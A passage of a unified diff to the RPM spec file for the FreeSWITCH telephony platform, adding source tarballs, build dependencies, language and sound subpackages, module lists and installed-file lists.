+Source5:	http://files.freeswitch.org/downloads/libs/mpg123.tar.gz
+Source6:	http://files.freeswitch.org/downloads/libs/openldap-2.4.11.tar.gz
+Source7:	http://files.freeswitch.org/downloads/libs/pocketsphinx-0.5.99-latest.tar.gz
+Source8:	http://files.freeswitch.org/downloads/libs/soundtouch-1.3.1.tar.gz
+Source9:	http://files.freeswitch.org/downloads/libs/sphinxbase-0.4.99-latest.tar.gz
+Source10:	http://files.freeswitch.org/freeswitch-sounds-music-8000-1.0.8.tar.gz
+Source11:	http://files.freeswitch.org/freeswitch-sounds-music-16000-1.0.8.tar.gz
+Source12:	http://files.freeswitch.org/freeswitch-sounds-music-32000-1.0.8.tar.gz
+Source13:	http://files.freeswitch.org/freeswitch-sounds-music-48000-1.0.8.tar.gz
+Source14:	http://files.freeswitch.org/freeswitch-sounds-en-us-callie-8000-1.0.11.tar.gz
+Source15:	http://files.freeswitch.org/freeswitch-sounds-en-us-callie-16000-1.0.11.tar.gz
+Source16:	http://files.freeswitch.org/freeswitch-sounds-en-us-callie-32000-1.0.11.tar.gz
+Source17:	http://files.freeswitch.org/freeswitch-sounds-en-us-callie-48000-1.0.11.tar.gz
+Source18:	http://files.freeswitch.org/downloads/libs/communicator_semi_6000_20080321.tar.gz
+Prefix:        %{prefix}
 
 #AutoReqProv:  no
 
@@ -26,7 +46,7 @@
 BuildRequires: curl-devel
 BuildRequires: gcc-c++
 BuildRequires: gnutls-devel
-BuildRequires: libtool >= 1.5.14
+BuildRequires: libtool >= 1.5.17
 BuildRequires: ncurses-devel
 BuildRequires: openssl-devel
 BuildRequires: perl
@@ -35,6 +55,14 @@
 BuildRequires: unixODBC-devel
 BuildRequires: gdbm-devel
 BuildRequires: db4-devel
+BuildRequires: python-devel
+BuildRequires: libogg-devel
+BuildRequires: libvorbis-devel
+BuildRequires: libtiff-devel
+#BuildRequires: mono-devel
+BuildRequires: alsa-lib-devel
+BuildRequires: which
+BuildRequires: zlib-devel
 
 %if %{?suse_version:1}0
 %if 0%{?suse_version} > 910
@@ -42,11 +70,6 @@
 %endif
 %endif
 
-# Fedora doesn't seem to have 'which' as part of the base system
-%if %{?fedora_version:1}0
-BuildRequires: which
-%endif
-
 %if 0%{?suse_version} > 800
 #PreReq:       /usr/sbin/useradd /usr/sbin/groupadd
 PreReq:       %insserv_prereq %fillup_prereq
@@ -81,6 +104,16 @@
 %description devel
 FreeSWITCH development files
 
+%package codec-passthru-amrwb
+Summary:        Pass-through AMR WideBand Codec support for FreeSWITCH open source telephony platform
+Group:          System/Libraries
+Requires:       %{name} = %{version}-%{release}
+Conflicts:      codec-amrwb
+
+%description codec-passthru-amrwb
+Pass-through AMR WideBand Codec support for FreeSWITCH open source telephony platform
+
+
 %package codec-passthru-amr
 Summary:        Pass-through AMR Codec support for FreeSWITCH open source telephony platform
 Group:          System/Libraries
@@ -129,17 +162,146 @@
 
 %description	perl
 
+%package        python
+Summary:        Python support for the FreeSWITCH open source telephony platform
+Group:          System/Libraries
+Requires:       %{name} = %{version}-%{release}
+
+%description    python
+
+
 %package lang-en
-Summary:	Provides english language dependand modules and sounds for the FreeSwitch Open Source telephone platform.
+Summary:	Provides english language dependand modules and speech config for the FreeSWITCH Open Source telephone platform.
 Group:          System/Libraries
 Requires:        %{name} = %{version}-%{release}
 
 %description lang-en
 English language phrases module and directory structure for say module and voicemail
 
+%package lang-ru
+Summary:        Provides russian language dependand modules and speech config for the FreeSWITCH Open Source telephone platform.
+Group:          System/LibrariesRequires:        %{name} = %{version}-%{release}
+
+%description lang-ru
+Russian language phrases module and directory structure for say module and voicemail
+
+%package lang-fr
+Summary:        Provides french language dependand modules and speech config for the FreeSWITCH Open Source telephone platform.
+Group:          System/LibrariesRequires:        %{name} = %{version}-%{release}
+
+%description lang-fr
+French language phrases module and directory structure for say module and voicemail
+
+%package lang-de
+Summary:        Provides german language dependand modules and speech config for the FreeSWITCH Open Source telephone platform.
+Group:          System/LibrariesRequires:        %{name} = %{version}-%{release}
+
+%description lang-de
+German language phrases module and directory structure for say module and voicemail
+
+
+%package openzap
+Summary:	Provides a unified interface to hardware TDM cards and ss7 stacks for FreeSWITCH
+Group:		System/Libraries
+Requires:        %{name} = %{version}-%{release}
+
+%description openzap
+OpenZAP
+
+%package moh
+Summary:        FreeSWITCH Music on hold files
+Group:          System/Libraries
+Requires:        %{name} = %{version}-%{release}
+
+%description moh
+8khz music on hold files for FreeSWITCH
+
+
+%package hd-moh
+Summary:        High Definition FreeSWITCH Music on hold files
+Group:          System/Libraries
+Requires:       %{name} = %{version}-%{release}
+
+%description hd-moh
+16khz High Definition FreeSWITCH Music on hold files
+
+
+%package uhd-moh
+Summary:        Ultra High Definition FreeSWITCH Music on hold files
+Group:          System/Libraries
+Requires:       %{name} = %{version}-%{release}
+
+%description uhd-moh
+32khz Ultra High Definition FreeSWITCH Music on hold files
+
+
+%package cd-moh
+Summary:        CD Quality FreeSWITCH Musci on hold files
+Group:          System/Libraries
+Requires:       %{name} = %{version}-%{release}
+
+%description cd-moh
+48khz CD Quality FreeSWITCH Music on hold files
+
+
+%package sounds-en-callie
+Summary:        English prompts for FreeSWITCH
+Group:          System/Libraries
+Requires:        %{name} = %{version}-%{release}
+
+%description sounds-en-callie
+8khz English prompts for FreeSWITCH
+
+
+%package hd-sounds-en-callie
+Summary:        High Density English prompts for FreeSWITCH
+Group:          System/Libraries
+Requires:        %{name} = %{version}-%{release}
+
+%description hd-sounds-en-callie 
+16khz High Density English prompts for FreeSWITCH
+
+
+%package uhd-sounds-en-callie
+Summary:        Ultra High Density English prompts for FreeSWITCH
+Group:          System/Libraries
+Requires:        %{name} = %{version}-%{release}
+
+%description uhd-sounds-en-callie
+32khz Ultra High Density English prompts for FreeSWITCH
+
+
+%package cd-sounds-en-callie
+Summary:        CD Quality English prompts for FreeSWITCH
+Group:          System/Libraries
+Requires:        %{name} = %{version}-%{release}
+
+%description cd-sounds-en-callie
+48khz CD Quality English prompts for FreeSWITCH
+
+
 %prep
-%setup -q
+%setup -b0 -q
+cp %{SOURCE1} libs/
+cp %{SOURCE2} libs/
+cp %{SOURCE3} libs/
+cp %{SOURCE4} libs/
+cp %{SOURCE5} libs/
+cp %{SOURCE6} libs/
+cp %{SOURCE7} libs/
+cp %{SOURCE8} libs/
+cp %{SOURCE9} libs/
+cp %{SOURCE10} .
+cp %{SOURCE11} .
+cp %{SOURCE12} .
+cp %{SOURCE13} .
+cp %{SOURCE14} .
+cp %{SOURCE15} .
+cp %{SOURCE16} .
+cp %{SOURCE17} .
+cp %{SOURCE18} libs/
 
+
 %build
 %ifos linux
 %if 0%{?suse_version} > 1000 && 0%{?suse_version} < 1030
@@ -150,24 +312,23 @@
 %endif
 %endif
 
-PASSTHRU_CODEC_MODULES="codecs/mod_g729 codecs/mod_g723_1 codecs/mod_amr"
+PASSTHRU_CODEC_MODULES="codecs/mod_g729 codecs/mod_g723_1 codecs/mod_amr codecs/mod_amrwb"
 SPIDERMONKEY_MODULES="languages/mod_spidermonkey languages/mod_spidermonkey_curl languages/mod_spidermonkey_core_db languages/mod_spidermonkey_odbc languages/mod_spidermonkey_socket languages/mod_spidermonkey_teletone"
-APPLICATIONS_MODULES="applications/mod_commands applications/mod_conference applications/mod_dptools applications/mod_enum applications/mod_esf applications/mod_expr applications/mod_fifo applications/mod_limit applications/mod_rss applications/mod_voicemail applications/mod_fsv"
-ASR_TTS_MODULES="asr_tts/mod_pocketsphinx asr_tts/mod_flite"
-CODECS_MODULES="codecs/mod_ilbc codecs/mod_h26x codecs/mod_voipcodecs codecs/mod_speex"
+APPLICATIONS_MODULES="applications/mod_commands applications/mod_conference applications/mod_dptools applications/mod_enum applications/mod_esf applications/mod_expr applications/mod_fifo applications/mod_limit applications/mod_rss applications/mod_voicemail applications/mod_fsv applications/mod_lcr applications/mod_easyroute applications/mod_stress applications/mod_vmd applications/mod_limit applications/mod_soundtouch applications/mod_fax"
+CODECS_MODULES="codecs/mod_ilbc codecs/mod_h26x codecs/mod_voipcodecs codecs/mod_speex codecs/mod_celt codecs/mod_siren"
 DIALPLANS_MODULES="dialplans/mod_dialplan_asterisk dialplans/mod_dialplan_directory dialplans/mod_dialplan_xml"
-DIRECTORIES_MODULES=
-DOTNET_MODULES=
-ENDPOINTS_MODULES="endpoints/mod_dingaling endpoints/mod_iax endpoints/mod_portaudio endpoints/mod_sofia endpoints/mod_woomera ../../libs/openzap/mod_openzap"
+DIRECTORIES_MODULES=""
+ENDPOINTS_MODULES="endpoints/mod_dingaling endpoints/mod_iax endpoints/mod_portaudio endpoints/mod_sofia ../../libs/openzap/mod_openzap endpoints/mod_loopback"
+ASR_TTS_MODULES="asr_tts/mod_pocketsphinx asr_tts/mod_flite asr_tts/mod_unimrcp"
 EVENT_HANDLERS_MODULES="event_handlers/mod_event_multicast event_handlers/mod_event_socket event_handlers/mod_cdr_csv"
-FORMATS_MODULES="formats/mod_local_stream formats/mod_native_file formats/mod_sndfile formats/mod_tone_stream"
-LANGUAGES_MODULES="languages/mod_perl languages/mod_lua"
+FORMATS_MODULES="formats/mod_local_stream formats/mod_native_file formats/mod_sndfile formats/mod_tone_stream formats/mod_shout"
+LANGUAGES_MODULES="languages/mod_perl languages/mod_lua languages/mod_python languages/mod_yaml"
 LOGGERS_MODULES="loggers/mod_console loggers/mod_logfile loggers/mod_syslog"
-SAY_MODULES="say/mod_say_en"
+SAY_MODULES="say/mod_say_en say/mod_say_de say/mod_say_fr"
 TIMERS_MODULES=
-DISABLED_MODULES="applications/mod_soundtouch directories/mod_ldap languages/mod_java languages/mod_python languages/mod_spidermonkey_skel ast_tts/mod_cepstral asr_tts/mod_lumenvox event_handlers/mod_event_test event_handlers/mod_radius_cdr event_handlers/mod_zeroconf formats/mod_shout say/mod_say_it say/mod_say_es say/mod_say_nl"
-XML_INT_MODULES="xml_int/mod_xml_rpc  xml_int/mod_xml_curl xml_int/mod_xml_cdr"
-MYMODULES="$PASSTHRU_CODEC_MODULES $SPIDERMONKEY_MODULES $APPLICATIONS_MODULES $ASR_TTS_MODULES $CODECS_MODULES $DIALPLANS_MODULES $DIRECTORIES_MODULES $DOTNET_MODULES $ENDPOINTS_MODULES $EVENT_HANDLERS_MODULES $FORMATS_MODULES $LANGUAGES_MODULES $LOGGERS_MODULES $SAY_MODULES $TIMERS_MODULES $XML_INT_MODULES"
+DISABLED_MODULES="applications/mod_soundtouch languages/mod_spidermonkey_skel ast_tts/mod_cepstral asr_tts/mod_lumenvox event_handlers/mod_event_test event_handlers/mod_radius_cdr event_handlers/mod_zeroconf languages/mod_managed languages/mod_java say/mod_say_it say/mod_say_es say/mod_say_nl"
+XML_INT_MODULES="xml_int/mod_xml_rpc  xml_int/mod_xml_curl xml_int/mod_xml_cdr "
+MYMODULES="$PASSTHRU_CODEC_MODULES $SPIDERMONKEY_MODULES $APPLICATIONS_MODULES $CODECS_MODULES $DIALPLANS_MODULES $DIRECTORIES_MODULES $ENDPOINTS_MODULES $ASR_TTS_MODULES $EVENT_HANDLERS_MODULES $FORMATS_MODULES $LANGUAGES_MODULES $LOGGERS_MODULES $SAY_MODULES $TIMERS_MODULES $XML_INT_MODULES"
 
 export MODULES=$MYMODULES
 test ! -f  modules.conf || rm -f modules.conf
@@ -186,11 +347,10 @@
 
 	%configure -C \
                 --prefix=%{prefix} \
-		--bindir=%{prefix}/bin \
-		--libdir=%{prefix}/lib \
-                --sysconfdir=%{_sysconfdir} \
                 --infodir=%{_infodir} \
                 --mandir=%{_mandir} \
+		--sysconfdir=%{sysconfdir} \
+		--libdir=%{prefix}/lib \
 		--enable-core-libedit-support \
 		--enable-core-odbc-support \
 %ifos linux
@@ -210,27 +370,28 @@
 
 %install
 # delete unsupported langugages for now
-rm -rf conf/lang/de
-rm -rf conf/lang/fr
-rm -rf $RPM_BUILD_ROOT%{prefix}/conf/lang/de
-rm -rf $RPM_BUILD_ROOT%{prefix}/conf/lang/fr
+#rm -rf conf/lang/de
+#rm -rf conf/lang/fr
+#rm -rf $RPM_BUILD_ROOT%{prefix}/conf/lang/de
+#rm -rf $RPM_BUILD_ROOT%{prefix}/conf/lang/fr
 
 %{__make} DESTDIR=$RPM_BUILD_ROOT install
 
+# Install Sound Files
+%{__make} DESTDIR=$RPM_BUILD_ROOT  cd-sounds-install
+%{__make} DESTDIR=$RPM_BUILD_ROOT  cd-moh-install
+
 # Create a log dir
 %{__mkdir} -p $RPM_BUILD_ROOT%{prefix}/log
 
 %ifos linux
-#Install the library path config so the system can find the modules
-%{__mkdir} -p $RPM_BUILD_ROOT/etc/ld.so.conf.d
-%{__cp} build/freeswitch.ld.so.conf $RPM_BUILD_ROOT/etc/ld.so.conf.d/
 # Install init files
 # On SuSE:
 %if 0%{?suse_version} > 100
 %{__install} -D -m 744 build/freeswitch.init.suse $RPM_BUILD_ROOT/etc/init.d/freeswitch
 %else
 # On RedHat like
-%{__install} -D -m 744 build/freeswitch.init.redhat $RPM_BUILD_ROOT/etc/init.d/freeswitch
+%{__install} -D -m 0755 build/freeswitch.init.redhat $RPM_BUILD_ROOT/etc/init.d/freeswitch
 %endif
 # On SuSE make /usr/sbin/rcfreeswitch a link to /etc/init.d/freeswitch
 %if 0%{?suse_version} > 100
@@ -268,7 +429,7 @@
 %files
 %defattr(-,freeswitch,daemon)
 %ifos linux
-%dir %attr(0750, freeswitch, daemon) /etc/monit.d
+%dir %attr(0750, root, root) /etc/monit.d
 %endif
 %dir %attr(0750, freeswitch, daemon) %{prefix}/db
 %dir %attr(0750, freeswitch, daemon) %{prefix}/log
@@ -299,9 +460,10 @@
 %config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/*.tpl
 %config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/*.ttml
 %config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/*.xml
-%config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/*.conf
-%config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/cmudict.0.6d
+%config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/m3ua.conf
+%config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/extensions.conf
 %config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/autoload_configs/acl.conf.xml
+%config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/autoload_configs/cidlookup.conf.xml
 %config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/autoload_configs/alsa.conf.xml
 %config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/autoload_configs/conference.conf.xml
 %config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/autoload_configs/console.conf.xml
@@ -313,7 +475,6 @@
 %config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/autoload_configs/cdr_csv.conf.xml
 %config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/autoload_configs/fax.conf.xml
 %config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/autoload_configs/fifo.conf.xml
-%config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/autoload_configs/openzap.conf.xml
 %config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/autoload_configs/shout.conf.xml
 %config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/autoload_configs/timezones.conf.xml
 %config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/autoload_configs/iax.conf.xml
@@ -332,36 +493,41 @@
 %config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/autoload_configs/switch.conf.xml
 %config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/autoload_configs/syslog.conf.xml
 %config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/autoload_configs/voicemail.conf.xml
-%config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/autoload_configs/woomera.conf.xml
 %config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/autoload_configs/xml_cdr.conf.xml
 %config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/autoload_configs/xml_curl.conf.xml
 %config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/autoload_configs/xml_rpc.conf.xml
 %config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/autoload_configs/zeroconf.conf.xml
+%config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/autoload_configs/easyroute.conf.xml
+%config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/autoload_configs/lcr.conf.xml
+%config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/autoload_configs/opal.conf.xml
+%config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/autoload_configs/unicall.conf.xml
+%config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/autoload_configs/memcache.conf.xml
+%config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/autoload_configs/nibblebill.conf.xml
+%config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/autoload_configs/unimrcp.conf.xml
 %config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/dialplan/*.xml
 %config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/dialplan/default/*.xml
 %config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/dialplan/public/*.xml
 %config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/directory/*.xml
 %config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/directory/default/*
-%config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/mrcp_profiles/*.xml
 %config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/sip_profiles/*.xml
 %config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/sip_profiles/internal/*.xml
 %config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/sip_profiles/external/*.xml
 %config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/jingle_profiles/*.xml
-%config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/grammar/Makefile
+%config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/mrcp_profiles/*.xml
+%config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/grammar/default.dic
 %config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/grammar/model/communicator/*
 %config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/grammar/model/wsj1/*
 %config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/htdocs/*
 %ifos linux
-/etc/ld.so.conf.d/*
+#/etc/ld.so.conf.d/*
 /etc/init.d/freeswitch
 /etc/sysconfig/freeswitch
 %if 0%{?suse_version} > 100
 /usr/sbin/rcfreeswitch
 %endif
 %endif
-%{prefix}/bin/*
+%attr(0755, freeswitch, daemon) %{prefix}/bin/*
 %{prefix}/lib/libfreeswitch*.so*
-%{prefix}/lib/libopenzap.so*
 %{prefix}/mod/mod_console.so*
 %{prefix}/mod/mod_logfile.so*
 %{prefix}/mod/mod_syslog.so*
@@ -388,8 +554,6 @@
 %{prefix}/mod/mod_iax.so* 
 %{prefix}/mod/mod_portaudio.so* 
 %{prefix}/mod/mod_sofia.so* 
-%{prefix}/mod/mod_woomera.so* 
-%{prefix}/mod/mod_openzap.so* 
 %{prefix}/mod/mod_cdr_csv.so*
 %{prefix}/mod/mod_event_multicast.so* 
 %{prefix}/mod/mod_event_socket.so* 
@@ -401,13 +565,40 @@
 %{prefix}/mod/mod_xml_cdr.so* 
 %{prefix}/mod/mod_fsv.so
 %{prefix}/mod/mod_tone_stream.so
-%{prefix}/mod/ozmod_analog.so
-%{prefix}/mod/ozmod_analog_em.so
-%{prefix}/mod/ozmod_isdn.so
-%{prefix}/mod/ozmod_ss7_boost.so
-%{prefix}/mod/ozmod_zt.so
-%{prefix}/mod/ozmod_wanpipe.so
+%{prefix}/mod/mod_amrwb.so
+%{prefix}/mod/mod_celt.so
+%{prefix}/mod/mod_easyroute.so
+%{prefix}/mod/mod_lcr.so
+%{prefix}/mod/mod_loopback.so
+%{prefix}/mod/mod_siren.so
+%{prefix}/mod/mod_stress.so
+%{prefix}/mod/mod_yaml.so
+%{prefix}/mod/mod_shout.so
+%{prefix}/mod/mod_fax.so
+%{prefix}/mod/mod_soundtouch.so
+%{prefix}/mod/mod_vmd.so
+%{prefix}/mod/mod_unimrcp.so
 
+%files openzap
+%config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/tones.conf
+%config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/autoload_configs/openzap.conf.xml
+%config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/pika.conf
+%config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/openzap.conf
+%config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/wanpipe.conf
+%config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/zt.conf
+%{prefix}/lib/libopenzap.so*
+%{prefix}/mod/mod_openzap.so*
+%{prefix}/mod/ozmod_analog.so*
+%{prefix}/mod/ozmod_analog_em.so*
+%{prefix}/mod/ozmod_isdn.so*
+%{prefix}/mod/ozmod_skel.*
+%{prefix}/mod/ozmod_ss7_boost.so*
+%{prefix}/mod/ozmod_zt.so*
+
+%files codec-passthru-amrwb
+%defattr(-,freeswitch,daemon)
+%{prefix}/mod/mod_amrwb.so*
+
 %files codec-passthru-amr
 %defattr(-,freeswitch,daemon)
 %{prefix}/mod/mod_amr.so*
@@ -443,13 +634,22 @@
 %dir %attr(0750, freeswitch, daemon) %{prefix}/conf/autoload_configs
 %config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/autoload_configs/perl.conf.xml
 
+%files python
+%defattr(-,freeswitch,daemon)
+%{prefix}/mod/mod_python*.so*
+%attr(0644, root, bin) /usr/lib/python2.4/site-packages/freeswitch.py*
+%dir %attr(0750, freeswitch, daemon) %{prefix}/conf/autoload_configs
+%config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/autoload_configs/python.conf.xml
+
 %files devel
 %defattr(-, freeswitch, daemon)
 %{prefix}/lib/*.a
 %{prefix}/lib/*.la
+%{prefix}/lib/pkgconfig/*
 %{prefix}/mod/*.a
 %{prefix}/mod/*.la
 %{prefix}/include/*.h
+%{prefix}/include/spandsp/*
 
 %files lang-en
 %dir %attr(0750, freeswitch, daemon) %{prefix}/conf/lang/en
@@ -460,7 +660,178 @@
 %config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/lang/en/vm/*.xml
 %{prefix}/mod/mod_say_en.so*
 
+%files lang-de
+%dir %attr(0750, freeswitch, daemon) %{prefix}/conf/lang/de
+%dir %attr(0750, freeswitch, daemon) %{prefix}/conf/lang/de/demo
+%dir %attr(0750, freeswitch, daemon) %{prefix}/conf/lang/de/vm
+%config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/lang/de/*.xml
+%config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/lang/de/demo/*.xml
+%config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/lang/de/vm/*.xml
+%{prefix}/mod/mod_say_de.so*
+
+%files lang-fr
+%dir %attr(0750, freeswitch, daemon) %{prefix}/conf/lang/fr
+%dir %attr(0750, freeswitch, daemon) %{prefix}/conf/lang/fr/demo
+%dir %attr(0750, freeswitch, daemon) %{prefix}/conf/lang/fr/vm
+%config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/lang/fr/*.xml
+%config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/lang/fr/demo/*.xml
+%config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/lang/fr/vm/*.xml
+%{prefix}/mod/mod_say_fr.so*
+
+%files lang-ru
+%dir %attr(0750, freeswitch, daemon) %{prefix}/conf/lang/ru
+%dir %attr(0750, freeswitch, daemon) %{prefix}/conf/lang/ru/demo
+%dir %attr(0750, freeswitch, daemon) %{prefix}/conf/lang/ru/vm
+%config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/lang/ru/*.xml
+%config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/lang/ru/demo/*.xml
+%config(noreplace) %attr(0640, freeswitch, daemon) %{prefix}/conf/lang/ru/vm/*.xml
+
+%files moh
+%dir %attr(0750, freeswitch, daemon) %{prefix}/sounds/music/8000
+%{prefix}/sounds/music/8000/*
+
+%files hd-moh
+%dir %attr(0750, freeswitch, daemon) %{prefix}/sounds/music/16000
+%{prefix}/sounds/music/16000/*
+
+%files uhd-moh
+%dir %attr(0750, freeswitch, daemon) %{prefix}/sounds/music/32000
+%{prefix}/sounds/music/32000/*
+
+%files cd-moh
+%dir %attr(0750, freeswitch, daemon) %{prefix}/sounds/music/48000
+%{prefix}/sounds/music/48000/*
+
+%files sounds-en-callie
+%dir %attr(0750, freeswitch, daemon) %{prefix}/sounds/en/us/callie/ascii/8000
+%dir %attr(0750, freeswitch, daemon) %{prefix}/sounds/en/us/callie/base256/8000
+%dir %attr(0750, freeswitch, daemon) %{prefix}/sounds/en/us/callie/conference/8000
+%dir %attr(0750, freeswitch, daemon) %{prefix}/sounds/en/us/callie/currency/8000
+%dir %attr(0750, freeswitch, daemon) %{prefix}/sounds/en/us/callie/digits/8000
+%dir %attr(0750, freeswitch, daemon) %{prefix}/sounds/en/us/callie/ivr/8000
+%dir %attr(0750, freeswitch, daemon) %{prefix}/sounds/en/us/callie/misc/8000
+%dir %attr(0750, freeswitch, daemon) %{prefix}/sounds/en/us/callie/phonetic-ascii/8000
+%dir %attr(0750, freeswitch, daemon) %{prefix}/sounds/en/us/callie/time/8000
+%dir %attr(0750, freeswitch, daemon) %{prefix}/sounds/en/us/callie/voicemail/8000
+%dir %attr(0750, freeswitch, daemon) %{prefix}/sounds/en/us/callie/zrtp/8000
+%{prefix}/sounds/en/us/callie/ascii/8000/*
+%{prefix}/sounds/en/us/callie/base256/8000/*
+%{prefix}/sounds/en/us/callie/conference/8000/*
+%{prefix}/sounds/en/us/callie/currency/8000/*
+%{prefix}/sounds/en/us/callie/digits/8000/*
+%{prefix}/sounds/en/us/callie/ivr/8000/*
+%{prefix}/sounds/en/us/callie/misc/8000/*
+%{prefix}/sounds/en/us/callie/phonetic-ascii/8000/*
+%{prefix}/sounds/en/us/callie/time/8000/*
+%{prefix}/sounds/en/us/callie/voicemail/8000/*
+%{prefix}/sounds/en/us/callie/zrtp/8000/*
+
+%files hd-sounds-en-callie
+%dir %attr(0750, freeswitch, daemon) %{prefix}/sounds/en/us/callie/ascii/16000
+%dir %attr(0750, freeswitch, daemon) %{prefix}/sounds/en/us/callie/base256/16000
+%dir %attr(0750, freeswitch, daemon) %{prefix}/sounds/en/us/callie/conference/16000
+%dir %attr(0750, freeswitch, daemon) %{prefix}/sounds/en/us/callie/currency/16000
+%dir %attr(0750, freeswitch, daemon) %{prefix}/sounds/en/us/callie/digits/16000
+%dir %attr(0750, freeswitch, daemon) %{prefix}/sounds/en/us/callie/ivr/16000
+%dir %attr(0750, freeswitch, daemon) %{prefix}/sounds/en/us/callie/misc/16000
+%dir %attr(0750, freeswitch, daemon) %{prefix}/sounds/en/us/callie/phonetic-ascii/16000
+%dir %attr(0750, freeswitch, daemon) %{prefix}/sounds/en/us/callie/time/16000
+%dir %attr(0750, freeswitch, daemon) %{prefix}/sounds/en/us/callie/voicemail/16000
+%dir %attr(0750, freeswitch, daemon) %{prefix}/sounds/en/us/callie/zrtp/16000
+%{prefix}/sounds/en/us/callie/ascii/16000/*
+%{prefix}/sounds/en/us/callie/base256/16000/*
+%{prefix}/sounds/en/us/callie/conference/16000/*
+%{prefix}/sounds/en/us/callie/currency/16000/*
+%{prefix}/sounds/en/us/callie/digits/16000/*
+%{prefix}/sounds/en/us/callie/ivr/16000/*
+%{prefix}/sounds/en/us/callie/misc/16000/*
+%{prefix}/sounds/en/us/callie/phonetic-ascii/16000/*
+%{prefix}/sounds/en/us/callie/time/16000/*
+%{prefix}/sounds/en/us/callie/voicemail/16000/*
+%{prefix}/sounds/en/us/callie/zrtp/16000/*
+
+
+%files uhd-sounds-en-callie
+%dir %attr(0750, freeswitch, daemon) %{prefix}/sounds/en/us/callie/ascii/32000
+%dir %attr(0750, freeswitch, daemon) %{prefix}/sounds/en/us/callie/base256/32000
+%dir %attr(0750, freeswitch, daemon) %{prefix}/sounds/en/us/callie/conference/32000
+%dir %attr(0750, freeswitch, daemon) %{prefix}/sounds/en/us/callie/currency/32000
+%dir %attr(0750, freeswitch, daemon) %{prefix}/sounds/en/us/callie/digits/32000
+%dir %attr(0750, freeswitch, daemon) %{prefix}/sounds/en/us/callie/ivr/32000
+%dir %attr(0750, freeswitch, daemon) %{prefix}/sounds/en/us/callie/misc/32000
+%dir %attr(0750, freeswitch, daemon) %{prefix}/sounds/en/us/callie/phonetic-ascii/32000
+%dir %attr(0750, freeswitch, daemon) %{prefix}/sounds/en/us/callie/time/32000
+%dir %attr(0750, freeswitch, daemon) %{prefix}/sounds/en/us/callie/voicemail/32000
+%dir %attr(0750, freeswitch, daemon) %{prefix}/sounds/en/us/callie/zrtp/32000
+%{prefix}/sounds/en/us/callie/ascii/32000/*
+%{prefix}/sounds/en/us/callie/base256/32000/*
+%{prefix}/sounds/en/us/callie/conference/32000/*
+%{prefix}/sounds/en/us/callie/currency/32000/*
+%{prefix}/sounds/en/us/callie/digits/32000/*
+%{prefix}/sounds/en/us/callie/ivr/32000/*
+%{prefix}/sounds/en/us/callie/misc/32000/*
+%{prefix}/sounds/en/us/callie/phonetic-ascii/32000/*
